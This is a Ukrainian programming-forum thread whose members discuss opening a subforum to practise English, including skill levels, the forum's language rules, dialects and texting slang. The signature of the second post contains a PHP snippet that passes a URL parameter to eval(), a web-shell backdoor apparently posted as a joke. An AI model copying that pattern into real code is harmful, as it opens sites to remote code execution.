1

Тема: Спілкування англійською

У мене спонтанно під час читання цієї теми з'явилась ідея трохи покращити розділ Вивчення англійської мови, а також наші знання англійської мови. Можна зробити підрозділ "Спілкування англійською мовою" і там створювати теми на різноманітні теми загальної тематики різних рівнів володіння англійською мовою. Приклад трохи нижче:

[Beginner] How do you spend your summer holidays
[Beginner] Beautiful places to visit in the world
[Intermediate] How to deal with stress
[Intermediate] How to get a job as a programmer

В самій темі вести дискусію на певну тему, а під спойлером можна буде виправляти помилки і подібні речі.

Як думаєте потрібно такий розділ?

Подякували: Chemist-i, _-_MAIBA_-_2

2

Re: Спілкування англійською

Хотів спершу написати, що це нікому не треба. Є ж книжки, курси і т.п. Але передбачається наявність живих людей які будуть вказувати на помилки… Хіба чогось такого ще немає?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Replace1

3 Востаннє редагувалося Torbins (05.07.2013 12:09:01)

Re: Спілкування англійською

Мені ідея подобається. Інколи доводиться відписуватися на англомовних форумах та Stackoverflow, але там мої помилки ніхто не виправляє.

Подякували: Replace1

4 Востаннє редагувалося Bartash (05.07.2013 15:55:27)

Re: Спілкування англійською

Well, this idea looks good, but without preparing could go odd.
First of all, I'd suggest to collect statistics about the language level of each user and amount of them ranged by level. Then we'll know about what level we shall look for and think about, if you get what I mean. :)

P.S: please, not about summer holidays: we'll get lots of school staff looking for completed stories. ;)

I belong to the Dead Generation.
Подякували: Replace1

5

Re: Спілкування англійською

Bartash написав:

Well, this idea looks good, but without preparing could go odd.
First of all, I'd suggest to collect statistics about the language level of each user and amount of them ranged by level. Then we'll know about what level we shall look for and think about, if you get what I mean. :)

P.S: please, not about summer holidays: we'll get lots of school staff looking for completed stories. ;)

Don't worry, it was just an example.

May be add to profile a new field - English Level with options (Beginner, Elementary, Pre-Intermediate, Intermediate, Upper-Intermediate, Advanced, Proficient)

P.S. Add a poll to the first post.

6

Re: Спілкування англійською

well, I dont know my English Level
it depends of area in which we'll try speaking (everyone can say standart sentence, but say something about, for example, theory physics isn't so easy)
and if we have Google, we cant have a big problem with English words

Прихований текст
as for me, the real my problem is grammar, cuz I'm good in translating to Ukraine, but not so in speaking
Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: Replace1

7

Re: Спілкування англійською

@Replace

Yeah, I got the notice right. The main warning is - to talk about anything except the direct programming themes, as it could have a bad influence onto Ukrainian one. Though, the idea about talking about something general (but interesting, admittedly) looks good.

About the level as a property of profile - I'm not sure it's a good idea: we're still a programming forum and not just english-learning one. We'd better to upgrade our 'state' field, like on ubuntuforums (beans) or somewhere else, you know. IMHO, of course. :)

@Cyan

Your level is pre-intermediate, and could be higher with keeping practicing. ;)

I belong to the Dead Generation.
Подякували: Cyan1

8

Re: Спілкування англійською

Hello! How I can determine level of my english ?

9

Re: Спілкування англійською

Правила треба буде відредагувати, бо зараз вони забороняють будь-яке спілкування іноземними мовами. І я згідний з ідеєю Bartashа: теми, що стосуються програмування, і надалі мають бути виключно україномовними.

10 Востаннє редагувалося Очі.завидющі (05.07.2013 23:52:36)

Re: Спілкування англійською

Я вважаю, що англійський розділ має бути й для іноземців яким є що сказати, як це зроблено на wasm.ru. Ядро англомовного форуму evilzone складають латвійці із кумедними, як на словянське вухо, іменами - "кульверстукас" наприклад.

Бодай вас Бог любив, а мене – молодиці!

11

Re: Спілкування англійською

Добре, на днях створю підрозділ :)
Думаю на рівень англійської будемо дивитись вже походу справи.
Основна ідея - попрактикуватись в написанні англійською. Це може бути корисним для написання коментарів, документації та і взагалі багато фірм зараз обслуговують американські та європейські компанії, тому без англійської нікуди.

Подякували: Supreme1

12

Re: Спілкування англійською

I suggest to make speaking English as the rule of such subforum (and only this subforum).
If we need to improve English - let's do it in English. :)

@Supreme

Well, by the time you post some messages here, we'll be able to measure your level. Generally speaking, the level of English is variable, except, perhaps, the break-line between pre-intermediate and intermediate. It's how it is if you need the realistic measurement. If not (just counting words, ability to translate or any other bullsh~) - just look through themes here: there must be one containing tests based on counting words.

Прихований текст
If you understand my post here without translating - then you've got, at least, pre-intermediate. ;)

@Replace
+1.

Smth like this, perhaps;)

http://img6.joyreactor.cc/pics/post/%D0%BF%D0%B5%D1%81%D0%BE%D1%87%D0%BD%D0%B8%D1%86%D0%B0-%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8-it-%D0%B4%D0%BB%D1%8F-%D1%87%D0%B0%D0%B9%D0%BD%D0%B8%D0%BA%D0%BE%D0%B2-80086.jpeg
I belong to the Dead Generation.
Подякували: Supreme1

13

Re: Спілкування англійською

Torbins написав:

Правила треба буде відредагувати, бо зараз вони забороняють будь-яке спілкування іноземними мовами. І я згідний з ідеєю Bartashа: теми, що стосуються програмування, і надалі мають бути виключно україномовними.

не зовсім погоджуся.
хіба можна лікарям забороняти на тематичному форумі вставляти для ОДНОЗНАЧНОГО ТРАКТУВАННЯ терміни чи вислови латиною?

англійська - це професійна мова для програмістів.
на мою думку, вживання окремих висловів чи речень англійською - не погіршить розуміння думки автора.
звісно - не зловживати.

14 Востаннє редагувалося Vo_Vik (06.07.2013 21:26:47)

Re: Спілкування англійською

А якою англійською ви тут хочете писати? Британською чи якимось з діалектів північноамериканської? Чи може чимось ближчим до південновелської говірки?

http://www.youtube.com/watch?v=dABo_DCIdpM

Бо навіть на письмі акценти відрізняються, якщо не окремими словами, то принаймі стилістикою речень.

Подякували: Torbins, Chemist-i2

15

Re: Спілкування англійською

Vo_Vik, Хто якою вміє :)

16

Re: Спілкування англійською

Ну нате розшифровуйте, смс сьогодні прийшло:
"Yaar r u in Toronto by any chance"

17

Re: Спілкування англійською

Vo_Vik, Чувак, ти випадково не в Торонто?

18

Re: Спілкування англійською

Vo_Vik
Дякую за відео. Виявляється американська англійська для мого вуха набагато звичніша ніж британська :)

19

Re: Спілкування англійською

Vo_Vik написав:

Ну нате розшифровуйте, смс сьогодні прийшло:
"Yaar r u in Toronto by any chance"

А це хіба не сленг?

x

20

Re: Спілкування англійською

Vo_Vik написав:

А якою англійською ви тут хочете писати? Британською чи якимось з діалектів північноамериканської? Чи може чимось ближчим до південновелської говірки?

http://www.youtube.com/watch?v=dABo_DCIdpM

Бо навіть на письмі акценти відрізняються, якщо не окремими словами, то принаймі стилістикою речень.

Навряд чи більшість юзерів на сайті володіють різновидами, але ж на секунду: українська у нас теж диференційована, але ж розуміємося. :)

Ну нате розшифровуйте, смс сьогодні прийшло:
"Yaar r u in Toronto by any chance"

Такий "лівопис" - одна з модних і поганих тенденцій сучасності. Аналогічна смс прийшла моєму товаришу якось:

ok cul8r)

I belong to the Dead Generation.